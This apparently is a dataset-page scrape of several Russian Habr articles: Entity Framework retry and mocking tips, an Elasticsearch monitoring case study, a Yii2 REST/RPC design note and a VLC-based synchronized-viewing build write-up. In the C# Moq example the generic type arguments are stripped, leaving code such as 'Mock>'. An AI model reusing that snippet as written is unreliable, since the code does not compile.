Более того, возможна интеграция EF и с распределенным кэшем. Например, через самописный cache manager на базе Sytem.Runtime.Caching.ObjectCache, подключенный к EntityFramework.Plus. NCache [поддерживает](http://www.alachisoft.com/ncache/entity-framework.html) интеграцию с EF "из коробки" (конкретикой не могу поделиться — не пробовал этот кэш).
Retry при ошибках от SQL Server
-------------------------------
```
public class SchoolConfiguration : DbConfiguration
{
public SchoolConfiguration()
{
SetExecutionStrategy("System.Data.SqlClient", () =>
new SqlAzureExecutionStrategy(maxRetryCount: 3, maxDelay: TimeSpan.FromSeconds(10)));
}
}
```
SqlAzureExecutionStrategy — данная стратегия содержится в EF6 (отключена по-умолчанию). При ее использовании — получение определенного кода ошибки в ответе от SQL Server приводит к повторной отправке SQL-инструкции на сервер.
**Коды ошибок для SqlAzureExecutionStrategy**
```
// SQL Error Code: 40197
// The service has encountered an error processing your request. Please try again.
case 40197:
// SQL Error Code: 40501
// The service is currently busy. Retry the request after 10 seconds.
case 40501:
// SQL Error Code: 10053
// A transport-level error has occurred when receiving results from the server.
// An established connection was aborted by the software in your host machine.
case 10053:
// SQL Error Code: 10054
// A transport-level error has occurred when sending the request to the server.
// (provider: TCP Provider, error: 0 - An existing connection was forcibly closed by the remote host.)
case 10054:
// SQL Error Code: 10060
// A network-related or instance-specific error occurred while establishing a connection to SQL Server.
// The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server
// is configured to allow remote connections. (provider: TCP Provider, error: 0 - A connection attempt failed
// because the connected party did not properly respond after a period of time, or established connection failed
// because connected host has failed to respond.)"}
case 10060:
// SQL Error Code: 40613
// Database XXXX on server YYYY is not currently available. Please retry the connection later. If the problem persists, contact customer
// support, and provide them the session tracing ID of ZZZZZ.
case 40613:
// SQL Error Code: 40143
// The service has encountered an error processing your request. Please try again.
case 40143:
// SQL Error Code: 233
// The client was unable to establish a connection because of an error during connection initialization process before login.
// Possible causes include the following: the client tried to connect to an unsupported version of SQL Server; the server was too busy
// to accept new connections; or there was a resource limitation (insufficient memory or maximum allowed connections) on the server.
// (provider: TCP Provider, error: 0 - An existing connection was forcibly closed by the remote host.)
case 233:
// SQL Error Code: 64
// A connection was successfully established with the server, but then an error occurred during the login process.
// (provider: TCP Provider, error: 0 - The specified network name is no longer available.)
case 64:
// DBNETLIB Error Code: 20
// The instance of SQL Server you attempted to connect to does not support encryption.
case (int)ProcessNetLibErrorCode.EncryptionNotSupported:
return true;
```
Интересности:
* На базе [исходного кода SqlAzureExecutionStrategy](https://github.com/aspnet/EntityFramework6/blob/527ae18fe23f7649712e9461de0c90ed67c3dca9/src/EntityFramework.SqlServer/SqlAzureExecutionStrategy.cs) возможно написать свою стратегию, переопределив коды ошибок, приводящие к retry.
* Использование retry-стратегий, включая SqlAzureExecutionStrategy — накладывает ряд ограничений, самым серьезным из которых является **несовместимость с пользовательскими транзакциями**. Для явного объявления транзакции — стратегию отключаем через обращение к [System.Runtime.Remoting.Messaging.CallContext](https://msdn.microsoft.com/en-us/library/dn307226%28v=vs.113%29.aspx):
* Стратегию можно даже покрыть интеграционными тестами (вновь спасибо Julie Lerman, [подробно осветившей](http://thedatafarm.com/data-access/testing-out-the-connection-resiliency-feature-into-ef6/) этот вопрос).
Подменяем DbContext, изолируемся от реальной БД
-----------------------------------------------
В целях тестирования, подменим DbContext прозрачно для вызывающего кода, и заполнить поддельный DbSet тестовыми данными. Приведу несколько способов решения задачи.
**Cпособ #1** (длинный): вручную создать заглушки для IMyDbContext и DbSet, явно прописать необходимое поведение. Вот как это может выглядеть с использованием библиотеки Moq:
**MockDbSet**
```
public IMyDbContext Create()
{
var mockRepository = new MockRepository(MockBehavior.Default);
var mockContext = mockRepository.Create();
mockContext.Setup(x => x.SaveChanges()).Returns(int.MaxValue);
var mockDbSet = MockDbSet(customers);
mockContext.Setup(m => m.Customers).Returns(mockDbSet.Object);
return mockContext.Object;
}
private Mock> MockDbSet(List data = null)
where T : class
{
if (data == null) data = new List();
var queryable = data.AsQueryable();
var mock = new Mock>();
mock.As>().Setup(m => m.Provider)
.Returns(queryable.Provider);
mock.As>().Setup(m => m.Expression)
.Returns(queryable.Expression);
mock.As>().Setup(m => m.ElementType)
.Returns(queryable.ElementType);
mock.As>().Setup(m => m.GetEnumerator())
.Returns(queryable.GetEnumerator());
return mock;
}
```
По этой теме есть базовая статья с MSDN: [Entity Framework Testing with a Mocking Framework (EF6 onwards)](https://msdn.microsoft.com/en-us/library/dn314429%28v=vs.113%29.aspx). А меня этот подход когда-то настолько впечатлил, что получился [демо-проект](https://github.com/chumakov-ilya/Demo.DbContextMocking) на гитхабе (с использованием EF6 DbFirst, SQL Server, Moq, Ninject). Кстати, в уже упоминавшемся курсе [Entity Framework in the Enterprise](https://www.pluralsight.com/courses/entity-framework-enterprise-update) тестированию посвящена целая глава.
**Способ #2** (короткий): использовать уже упоминавшийся Reverse POCO Generator, который по умолчанию создает заглушки для ваших DbContext и всех DbSet (внутри FakeDbSet будет обычная in-memory коллекция).
Быстрая вставка
---------------
Для одновременной вставки в БД SQL Server тысяч новых записей — крайне эффективно использовать BULK-операции вместо стандартного построчного INSERT. Проблематику я освещал подробнее в отдельной [статье](https://habrahabr.ru/post/251397/), поэтому приведу ниже только готовые к использованию решения на основе SqlBulkCopy:
→ [EntityFramework.Utilities](https://github.com/MikaelEliasson/EntityFramework.Utilities)
→ [Entity Framework Extensions](http://entityframework-extensions.net/)
На этом у меня всё. Делитесь своими рецептами и хитростями в комментариях =) | https://habr.com/ru/post/320128/ | null | ru | null |
# Мониторинг Elasticsearch через боль и страдания
Мы наконец допинали функционал мониторинга elasticsearch до публичного релиза. Суммарно мы переделывали его три раза, так как результат нас не устраивал и не показывал проблемы, которые мы огребали на нашем кластере ES.
Под катом история про наш production кластер, наши проблемы и наш новый мониторинг ES.
Супер краткий курс по эластику
------------------------------
Elasticsearch — это распределенный само-масштабирующийся RESTful сервис полнотекстового поиска, построенный на базе библиотеки Apache Lucene.
Терминология ES:
* **Нода (node)** — процесс JVM, запущенный на каком-то сервере
* **Индекс (index)** — набор документов, по которому вы хотите искать, в индексе может быть несколько типов документов
* **Шард (shard)** — чаcть индекса. Индексы делятся на части, чтобы распределить индекс и запросы к нему между серверами
* **Реплика (replica)** — копия шарда. Каждый кусок индекса хранится в нескольких копиях на разных серверах для отказоусточивости.
Внутри каждый шард — это индекс, но уже в Lucene'овских терминах, и он делится на сегменты.
Как мы используем ES
--------------------
У всех метрик в okmeter.io есть метки, проще говоря, идентификатором метрики в нашей системе является словарь ключ-значение, например:
* `{name: net.interface.bytes.in, site: okmeter, source_hostname: es103, plugin: net, interface: eth1}`
* `{name: process.cpu.user, site: okmeter, source_hostname: es103, plugin: process_info, process: /usr/bin/java, username: elasticsearch, container: ~host}`
* `{name: elasticsearch.shards.count, site: okmeter, source_hostname: es103, plugin: elasticsearch, cluster: okmeter-ovh, index: monthly-metadata-2016-10, shard_state: active, shard_type: primary}`
Каждый такой словарь-идентификатор метрики — это документ в ES. Например, чтобы построить такой график
мы ищем в ES по такому (очень упрощенно) запросу
```
site:okmeter AND name:elasticsearch.index.size
```
он возвращает сколько-то `id` метрик, по которым мы достаем значения метрик из кассандры.
Статус кластера
---------------
Сам ES [считает](https://www.elastic.co/guide/en/elasticsearch/reference/2.4/cluster-health.html), что кластер может находиться в трех состояниях:
* зеленый — доступно требуемое количество копий каждого шарда каждого индекса
* желтый — какие-то копии шарда либо находятся в состоянии миграции, либо не прикреплены к нодам
* красный — часть индекса недоступна вообще
Основной график нашего стандартного дашборда по ES мы выбирали исходя из этих же состояний:
Расскажу про этот день. Накануне мы добавили более мощные серверы в кластер, а теперь нужно было убрать две старые ноды. Приблизительно в 14:00 мне пришла в голову идея, а не провести ли учения? Обсудили и решили, что можно поэкспериментировать — выключить одну ноду и посмотреть, как такой эластичный эластик это отработает.
Выключили, и тут же заорал мониторинг, что на коллекторе метрик проблемы. Why??
Вернули ноду, подождали немного, всё наладилось. Странно, ну не может же быть такого, чтобы из-за выключения одного из нескольких эластиков мы прилегли. Наверное, что-то другое...
Выключили ноду опять где-то в 14:30 — опять алерты. Хмммм. Учения показали, что падение одного эластика делает нам больно — тоже результат, но нужно разбираться.
Сделали своего рода [decommission](https://www.elastic.co/guide/en/elasticsearch/reference/2.4/allocation-filtering.html) — аккуратно вывели ноды по одной из кластера. Синее на графике в 15:10 — это оно, шарды перемещались на другие ноды. Обошлось без проблем.
Присмотрелись к количеству шардов: 140 — странно, *number\_of\_shards* у нас 20, *number\_of\_replicas* — 2, и еще одна мастер копия, т.е. должно быть 60 шардов на индекс. Индексов 3 — свой на каждый месяц, значит должно быть всего 180 шардов. Оказалось, что декабрьский индекс создался с *number\_of\_replicas* — 0, т.е. без реплик, поэтому выключение любой ноды полностью ломает работу с этим индексом!
Хорошо, что отсутствие реплик обнаружилось в контролируемом эксперименте. Если бы мы это не заметили, могли огрести большие проблемы в будущем — пришлось бы аврально делать полную переиндексацию по данным из основного хранилища.
Чтобы увидеть эту проблему в будущем, мы сделали автоматический триггер, который сообщит, если в каком-то индексе 0 реплик. Этот триггер выпустили в виде авто-триггера для всех клиентов сразу, мы же сервис мониторинга :)
Split brain
-----------
Самая пугающая и известная проблема с эластиком — это **split brain**, когда из-за проблем со связностью нод по сети, или если нода не отвечала долго (потому что застряла в GC например), в кластере может появиться вторая мастер-нода.
В этом случае получается как бы две версии индекса, какие-то документы попадают на индексацию в одну часть кластера, другие — в другую. Неконсистентность будет проявляться при поиске — на один и тот же запрос будут выдаваться разные результаты. Восстановление индекса в таком случае будет сложной задачей, скорее всего, потребуется либо полная переиндексация, либо восстановление из бэкапа и с последующей доливкой изменений до текущего момента.
В ES есть механизм защиты от сплит-брейна, самая важная настройка — [minimum\_master\_nodes](https://www.elastic.co/guide/en/elasticsearch/reference/2.4/modules-discovery-zen.html#master-election), но по-умолчанию *discovery.zen.minimum\_master\_nodes: 1*, т.е. никакой защиты нет.
Мы воспроизводили это на тестовом кластере ElasticSearch и по результатам сделали два авто-триггера: один сработает, если увидит более одной мастер ноды в кластере, второй предупредит, если значение параметра *discovery.zen.minimum\_master\_nodes* меньше, чем рекомендованное — кворум (N/2+1) от текущего размера кластера. Это нужно именно мониторить, потому что вы можете решить добавить нод и забыть подправить *minimum\_master\_nodes*.
Мониторинг запросов в elastic
-----------------------------
C состоянием кластера вроде разобрались, дальше нужно понимать, сколько каких запросов обрабатывает кластер и как быстро они отрабатывают.
Любой поиск по нашему ES мы делаем сразу по трем индексам, каждый из которых поделен на 20 шардов. Из-за этого изначальные ~250 запросов в секунду на поиск от нашего кода для ES превращаются в ~15 тысяч.
Запросов на идексацию на самом деле у нас около 200 в секунду, но так как каждый шард хранится в трех копиях (основная + 2 реплики), то ES видит ~600 rps.
По временам запросов ES дает достаточно скудную статистику: есть счетчик обработанных запросов и есть кумулятивная сумма времен запросов по типам. Таким образом, мы можем посчитать только среднее время ответа по каждому типу запросов, получаем график такого вида (мы вычисляем среднее прямо при отрисовке графика, так как сумма времен ответов тоже интересная метрика сама по себе):
Оранжевая линия — это поиск. Видно, что в какой-то момент он ускорился приблизительно в 3 раза.
Это мы всего лишь сделали [force merge](https://www.elastic.co/guide/en/elasticsearch/reference/2.4/indices-forcemerge.html) сегментов. У нас индекс порезан помесячно. Индексируется всегда (почти) в текущий месяц, ищется по трём. Так как из индексов за предыдущие месяцы идет только чтение, мы можем сделать на них force merge сегментов прямо под нагрузкой:
В итоге осталось по одному сегменту в каждом шарде, поиск по этим индексам стал заметно быстрее. Возможно, нам стоит сделать крон, который будет делать force merge индекса за прошедший месяц.
#### Background ops графики
Кроме того, мы отдельно вывели "background" операции — это то, что эластик делает в фоне сам или по запросу как с force merge. Отдельно, потому что логичнее видеть "пользовательские" запросы отдельно от "системных": у них и совсем разные тайминги — секунды вместо милисекунд, поэтому на одном графике будет неудобно смотреть. И количество таких операций бывает очень маленьким и может теряться на фоне всех пользовательских реквестов.
Этот график показывает тот самый merge, который снизил нам время ответа поиска, но в этот раз удобнее смотреть на сумму времен ответа ES (мы как бы смотрим, на что в целом тратились вычислительные ресурсы кластера):
С точки зрения системных метрик линукса, этот merge выглядел как активная запись на диск процессом ES:
Кэши
----
Для обеспечения скорости выполнения запросов в эластике есть кэши:
* *query\_cache* (раньше назывался *filter\_cache*) — битсеты документов, которые матчатся на конкретный фильтр в запросе
* *fielddata\_cache* — используется при аггрегациях
* *request\_cache* — шард кэширует ответ на запрос целиком
Подробнее что кешируется, когда кешируется, когда инвалидируется, как тюнить, лучше читать в документации.
Наш мониторинговый агент снимет для каждого из этих кэшей: размер, хиты, миссы, эвикшены (вытестения).
Вот, например, был случай — эластики у нас упали по OutOfMemory. По логам разобраться сложно, но потом, когда уже подняли, заметили на графике резкий рост использования памяти *fielddata* кэшем:
Вообще-то мы не используем агрегации elasticsearch, мы вообще используем только самый базовый функционал. Нам нужно без скоринга найти все документы, в которых у заданных полей заданные значения. Почему же так выросло использование *fielddata* кэша?
Оказалось, что это был тоже контролируемый эксперимент :-) Вручную curl'ом дёргали тяжелые запросы на агрегацию, и от этого всё попадало. По идее от этого можно было защититься правильной настройкой лимитов памяти для *fielddata*. Но или они не сработали, или баги эластика (мы тогда сидели на старой версии 1.7).
Системные метрики
-----------------
В дополнении к внутренним метрикам эластика, стоит смотреть на него сверху, как на процесс в операционной системе. Сколько он потребляет процессорного времени, сколько памяти, сколько создает нагрузки на диск.
Когда мы затевали обновление ES с версии 1.7.5, то решили обновиться сразу на 2.4 (последнюю, пятёрку, пока побаиваемся). Мажорное обновление elastic по стандартной процедуре нам делать как-то стрёмно, мы обычно поднимаем второй кластер и делаем синхронную копию через наш код — он умеет индексировать в несколько кластеров сразу.
При включении нового кластера в индексацию, обнаружилось, что новый ES пишет на диск ~350 раз в секунду, в то время как старый всего ~25:
es101 — это нода из старого кластера, а es106 — из нового. Плюс на новые ноды не стали ставить SSD (посчитали, что всё влезет в память), поэтому такое io уронило производительность очень сильно.
Пошли перечитывать все новинки версии 2 эластика и нашли [index.translog.durability](https://www.elastic.co/guide/en/elasticsearch/reference/2.0/index-modules-translog.html#_translog_settings). Он по умолчанию стал *request*, при таком значении translog синкается на диск после каждого запроса на индексацию. Поменяли на *async* со стандартныйм *sync\_interval* в 5 секунд и стало почти как раньше.
Помимо системных метрик для ES полезно смотреть за метриками JVM — gc, memory пулы и прочее. Наш агент автоматически подцепит всё это через jmx, и так же автоматически появятся графики.
Автоматическое обнаружение ES
-----------------------------
Не так давно мы уже [рассказывали](https://habrahabr.ru/company/okmeter/blog/312560/#plaginy), что очень много сил тратим на то, чтобы все сервисы на серверах наших клиентов включались в мониторинг автоматом, без настройки. Такой подход позволяет ничего не забыть замониторить и сильно ускоряет внедрение.
Автодетект для ES устроен примерно так:
* по списку процессов находим процесс похожий на ES: jvm с классом запуска org.elasticsearch.bootstrap
* по строке запуска пытаемся найти конфиг ES
* читаем конфиг, понимаем listen IP и порт
Дальше дело техники — периодически снимаем метрики по стандартному API и отправляем их в облако.
Вместо заключения
-----------------
Мы всегда стараемся исходить из реальных use case'ов. Чтобы запилить мониторинг какого-то сервиса, нам приходится досконально с ним разбираться, понимать, что и как там может сломаться. Поэтому в первую очередь мы делали поддержку тех сервисов, которые хорошо умеем готовить и которыми пользуемся сами.
Кроме того, очень помогают клиенты, которые рассказывают про свои проблемы. Мы постоянно дорабатываем дашборды/автотриггеры, чтобы в итоге показывать не какие-то графики, а сразу причины проблем.
*Если у вас есть ES, который ждет, чтобы его замониторили, наш бесплатный 2х недельный триал — то, что вам нужно, ссылка на сайт чуть ниже :)* | https://habr.com/ru/post/315860/ | null | ru | null |
# Сервисная технология на основе REST + RPC API делаем в турбо режиме
Мы привыкли почему-то разделять REST и RPC, мне кажется это разделение искусственным. Просто REST строже и ограничен в методах, и это не всегда оправдано в сложном приложении.
Сделаем простую основу для написания сервисно-ориентированной архитектуры. Как стек технологий используем славный Yii2, быстрый Nginx и молниеносный Redis. Почему именно так, станет ясно позднее.
Для управления сущностями на примитивном уровне СREATE, UPDATE, DELETE, GET нам вполне достаточно Rest техники которая заложена в Yii2.
Для облегчения работы в сцепке Nginx + Redis, нам придется использовать немного нестандартный подход, то есть полностью передать как параметры: класс, метод и другие нужные параметры. Для валидации этой компании используем наипростейшую форму Yii2 Model (для экономии места проигнорируем code style):
```
class QueryForm extends Model
{
/**
* @properties for REST
*/
public $restModel = ''; // Class
public $restMethod = ''; // Method
public $restId = null; // Rest id модели
public $restAttributes = []; // аттрибуты модели
/**
* @properties for RPC
*/
public $categories = []; // фильтр по типу места
public $tags = []; // Теги для запроса
public $match = ''; // запрос по фразе
public $cache = 1; // флаг кеширования
// ну и так далее ...
```
Дальше соответственно валидация всей этой веселой компании, тут очевидно, надеюсь.
Nginx при определенных условиях (если нужны дополнительные модули — ссылка ниже) может перехватить ссылку, послать запрос в Redis, и если Redis по ключу ничего не найдет, то поднимем PHP Yii2, который методом actionCall подготовит ответ и запишет его в кеш (работающий на основе того же Redis).
```
$params = $this->getEncodeParams($key);
$query = new \common\models\QueryForm();
if ($query->validateParams($params)) {
$this->setHeader(self::CODE_OK, self::MSG_OK);
$this->setData($this->callDispatcher($query));
}
else {
$this->setHeader(self::CODE_ERROR, self::MSG_INPUT_PARAMETER_ERROR
. print_r($query->getErrors(), true));
}
$this->response();
```
Схематично диспечер callDispatcher, который обрабатывает REST и RPC:
1) Cначала запросы по ID: POST, GET, DELETE, CREATE (тут все просто благодоря Yii2).
2) Ну и наконец после этого в диспетчере обработаем запросы всех сущностей RPC, необходимых вашему приложению.
Что у нас в итоге:
— единый метод класса actionCall ($key), который обработает любой запрос REST и RPC.
— keуParams — универсальный закодированный ключ, который подходит для получения ответа сервиса, используя сцепку Nginx + Redis ([за подробностями вам сюда](http://findevelop.blogspot.lt/2011/11/nginxredis-web.html)), минуя PHP, и одновременно он подходит для обработки запроса используя PHP FM Yii2.
Если вам кажется, что будет неудобно работать с такими ссылками (url), то это не совсем так, немного смекалки — и все у вас будет очень даже удобно. Некоторые уже совсем очевидные вещи сознательно опущены.
Всем удачи, коллеги! | https://habr.com/ru/post/276781/ | null | ru | null |
# Говорим и показываем: как мы создали сервис синхронного просмотра видео ITSkino на основе VLC
О том, что самоизоляция — это не только «тук-тук-тук» в крышку гроба экономики, но и новые «горизонты возможностей», уже написано немало статей. Правда, многие из них вызывают в памяти басню Крылова про лису и виноград. Но всё же в одном карантинные коучи правы: вся эта ситуация заставляет изобретать — не обязательно какие-то глобальные штуки, которые изменят новый мировой порядок. Иногда — просто небольшие продукты, которые помогли сделать самоизоляцию чуть более выносимой. Об одном из них, плеере [ITSkino](https://itskino.ru), мы уже [вкратце писали](https://habr.com/ru/company/itsumma/news/t/504244/?utm_source=habr.com&utm_medium=cpc&utm_campaign=news28052020). А сейчас хотим рассказать, как и что мы делали, чтобы наделить VLC функцией синхронного просмотра потокового или локального видео у неограниченного количества человек одновременно.
У нас сейчас есть две сборки — под Windows и под MacOS. Исходные коды можно найти по [этой ссылке](https://wiki.videolan.org/VLC_Source_code/). Два наших разработчика рассказывают о нюансах, с которыми столкнулись в процессе создания сборок.
#### Windows
Сборка как самого приложения, так и окружения описана [здесь](https://wiki.videolan.org/Win32Compile/). Мы использовали метод сборки MinGW on Linux (ОС – Ubuntu 16.04.6 LTS).
Во время сборки могут приключиться разного рода сложности. Что-то можно нагуглить сходу, что-то не сразу, что-то можно найти у наших китайских братьев по ссылкам, например, [www.cnblogs.com/johnsen/p/11721632.html](https://www.cnblogs.com/johnsen/p/11721632.html) или [blog.csdn.net/DANFBAORE/article/details/95188935](https://blog.csdn.net/DANFBAORE/article/details/95188935). В конечном итоге, всё получится!
Идеологически правильно было бы сделать отдельный модуль, но хотелось побыстрее собрать mvp, посмотреть и «пощупать», что получится. Поэтому решили немного допилить уже имеющийся модуль интерфейса (`/modules/gui/qt`). Версия `qt`, которая собирается «из коробки», не имела на борту поддержки сети (QNetwork), https (openSSL), а также был выключен плагин поддержки gif. Чтобы добавить необходимую функциональность, нужно было:
* Собрать openSSL
```
git clone https://github.com/openssl/openssl.git
cd openssl
git checkout OpenSSL_1_0_2-stable
./Configure --cross-compile-prefix=x86_64-w64-mingw32- mingw64
make
sudo make install
```
* Добавить поддержку необходимых сетевых подсистем и плагинов, изменив файлы [configure.ac](https://github.com/itsumma/itskino/blob/master/configure.ac) и [contrib/src/qt/rules.mak](https://github.com/itsumma/itskino/blob/master/contrib/src/qt/rules.mak).
* Собрать (пересобрать) qt.
«Центр» всей системы — ShareService — синглтон, который инициализируется вместе с модулем интерфейса.
**Его основная функциональность:**
* «перехват» и обработка элементов списка воспроизведения, использующих в качестве источника адреса, начинающиеся с itsshare://
* обработка изменения состояния элементов списка воспроизведения (play/pause/stop);
* обработка события «поделиться»;
* регистрация плейера как обработчика протокола itsshare.
**Второстепенные функции:**
* установка директории для синхронизации локальных видеофайлов;
* проигрывание видеоинструкции при первом запуске;
* сохранение и загрузка параметров, необходимых для работы сервиса.
**API вызовы:**
1. Создание сеанса — api/stream/create
2. Получить источник сеанса по хэшу — api/session/get
3. Play — api/stream/play
4. Pause — api/session/pause
5. Stop — api/session/stop
При первом запуске приложения генерируется уникальный идентификатор пользователя и происходит регистрация плеера как обработчика протокола itsshare.
Если во время воспроизведения видео, которое не участвует в сеансе совместного просмотра, пользователь нажал на кнопку «поделиться» (выбрал соответствующий пункт в меню ITSKino), то на эндпойнт `api/stream/create` отправляется запрос, содержащий источник (имя локального файла или ссылка на потоковое видео) и текущее время воспроизведения. В ответ мы получаем хэш созданного сеанса и ссылку на него, которая автоматически копируется в буфер обмена. Данный хэш сеанса, ассоциированный с источником, мы храним для последующего использования при взаимодействии с API.
При открытии в браузере ссылки
```
https://itskino.ru/join?stream=
```
происходит редирект на
```
itsshare://
```
Далее открывается плеер VLC (так как он является обработчиком данного протокола), в который передается соответствующий URL. ShareService перехватывает данный URL, извлекает хэш сессии и обращается с ним на эндпойнт `api/session/get` для получения источника воспроизведения. Источник связывается с хэшем сеанса для последующего использования при взаимодействии с API.
При изменении статуса элемента списка воспроизведения (play/pause/stop) идёт проверка, имеется ли связанный с ним хэш сеанса — и если есть, то он отсылается на соответствующий событию эндпойнт — `api/stream/play`, `api/session/pause`, `api/session/stop`. Запрос на `api/stream/play` возвращает текущее время воспроизведения сеанса совместного просмотра.
Если все участники сеанса отослали запрос `api/session/pause`, то сеанс приостанавливается и возобновляется только при первом запросе `api/stream/play`. При переключении элементов списка воспроизведения, источники которых связаны с хэшем сеанса, происходит обращение на `api/session/stop`. Сеанс перестает существовать, если все участники процесса отослали `api/session/stop`.
[Публичный репозиторий](https://github.com/itsumma/itskino)
#### macOS
**Билд:**
Обнаружилась проблема с libiconv: если есть `libiconv` в `/usr/local/ lib`, надо временно переименовать папку `lib`, чтобы подсосался дефолтный libiconv из `usr/lib`.
**Юнит:**
1. Сделан класс *ItsUnit* (фактически, аналог ShareService в виндовой сборке) и добавлен в мейк `modules/gui/macosx/Makefile.am`: юнит обрабатывает 5 эндпойнтов API (play, pause, stop, create, connect) и дополнительные методы (реакция на изменение элемента в плейлисте, проигрывание видеоинструкции, добавление, выбор папки синхронизации и т.д.)
2. Чтобы приложение в macOS открывалось по кастомному протоколу, нужно следовать [инструкции](https://superuser.com/questions/548119/how-do-i-configure-custom-url-handlers-on-os-x).
3. Методы класса интегрированы в нужных местах модуля macOS GUI (в основном — `modules/gui/macosx/playlist/VLCPlayerController`, а также `modules/gui/macosx/os-integration/applescript.m`, `modules/gui/macosx/library/VLCLibraryWindow.m` и `modules/gui/macosx/menus/VLCMainMenu.m`/
4. Инициализирован юнит в классе `modules/gui/macosx/main/VLCMain.m`
Публичный репозиторий — [github.com/itsumma/itskino\_mac](https://github.com/itsumma/itskino_mac)
#### Вместо вывода
Тут, в общем, и нет никакого вывода: +\- какие-то похожие решения существовали и раньше. Просто мы сильно скучали по офису и друг другу. И решили, что раз мы айтишники, то можем себе позволить потратить немного времени, чтобы сделать штуку, которая объединит классные функции других решений и будет при этом open source, как мы любим. Ребята, которые писали выше про сборки, чуток поскромничали: не всё элементарно (и упорядочено) в исходниках VLC, и поразбираться всё-таки пришлось. Но на выходе получилось и красиво, и полезно — потому что самоизоляция закончится (ну, рано или поздно), а наше решение пригодится и дальше. И не только тем, кто хочет посмотреть вместе кино, но и, например, в дистанционном обучении.
Ну, а пока — вы знаете, чем занять себя вечером этой пятницы :-) | https://habr.com/ru/post/508370/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.